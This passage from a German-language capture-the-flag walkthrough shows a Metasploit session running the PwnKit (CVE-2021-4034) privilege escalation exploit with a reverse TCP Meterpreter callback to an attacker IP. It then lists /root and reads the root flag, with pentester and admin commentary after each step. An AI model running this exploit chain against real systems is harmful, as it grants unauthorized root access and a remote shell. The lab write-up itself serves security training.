**Empfehlung (Pentester):** Nutze das PwnKit-Modul.
**Empfehlung (Admin):** System patchen!
msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2 session => 2 msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHOST 192.168.2.137 LHOST => 192.168.2.137 msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 4446 LPORT => 4446 msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set WRITABLE_DIR /tmp WRITABLE_DIR => /tmp msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run [*] Started reverse TCP handler on 192.168.2.137:4446 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. [*] Writing '/tmp/.ehqsiow/odmogiz/odmogiz.so' (548 bytes) ... [*] Sending stage (3045348 bytes) to 192.168.2.118 [+] Deleted ... [*] Meterpreter session 3 opened (192.168.2.137:4446 -> 192.168.2.118:46678) at 2023-06-30 14:52:37 +0200 meterpreter >
**Analyse:** Das PwnKit-Modul wird ausgewählt, auf die Meterpreter-Session 2 gesetzt, mit Callback-IP/Port (`192.168.2.137:4446`) konfiguriert und ausgeführt.
**Bewertung:** Der Exploit ist erfolgreich! Eine neue Meterpreter-Session (ID 3) mit Root-Rechten wird geöffnet.
**Empfehlung (Pentester):** Ziel erreicht! Überprüfe Rechte und suche Flags.
**Empfehlung (Admin):** System patchen!
meterpreter > getuid Server username: root meterpreter > ls /root Listing: /root ============== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100600/rw------- 1215 fil 2021-03-19 20:31:50 +0100 .bash_history 040700/rwx------- 4096 dir 2021-03-21 00:09:30 +0100 .cache 040700/rwx------- 4096 dir 2020-05-27 11:53:42 +0200 .config 040700/rwx------- 4096 dir 2021-03-19 19:14:01 +0100 .gnupg 040755/rwxr-xr-x 4096 dir 2019-10-20 17:33:45 +0200 .local 100600/rw------- 893 fil 2021-03-19 12:24:02 +0100 .mysql_history 100644/rw-r--r-- 148 fil 2015-08-17 17:30:33 +0200 .profile 100644/rw-r--r-- 66 fil 2020-04-02 12:31:59 +0200 .selected_editor 100644/rw-r--r-- 33 fil 2021-03-19 12:58:54 +0100 root.txt meterpreter > cat /root/root.txt 8955qpasq8qq807879p75e1rr24cr1a5
**Analyse:** In der Root-Meterpreter-Session wird mit `getuid` bestätigt, dass sie als `root` läuft. Der Befehl `ls /root` listet den Inhalt des Root-Home-Verzeichnisses auf, einschließlich der Datei `root.txt`. Der Inhalt von `root.txt` wird mit `cat` ausgelesen.
**Bewertung:** Root-Zugriff bestätigt. Die Root-Flagge (`8955qpasq8qq807879p75e1rr24cr1a5`) wurde erfolgreich gefunden und ausgelesen.
**Empfehlung (Pentester):** Root-Flagge dokumentieren. User-Flagge suchen (falls noch nicht geschehen).
**Empfehlung (Admin):** System kompromittiert.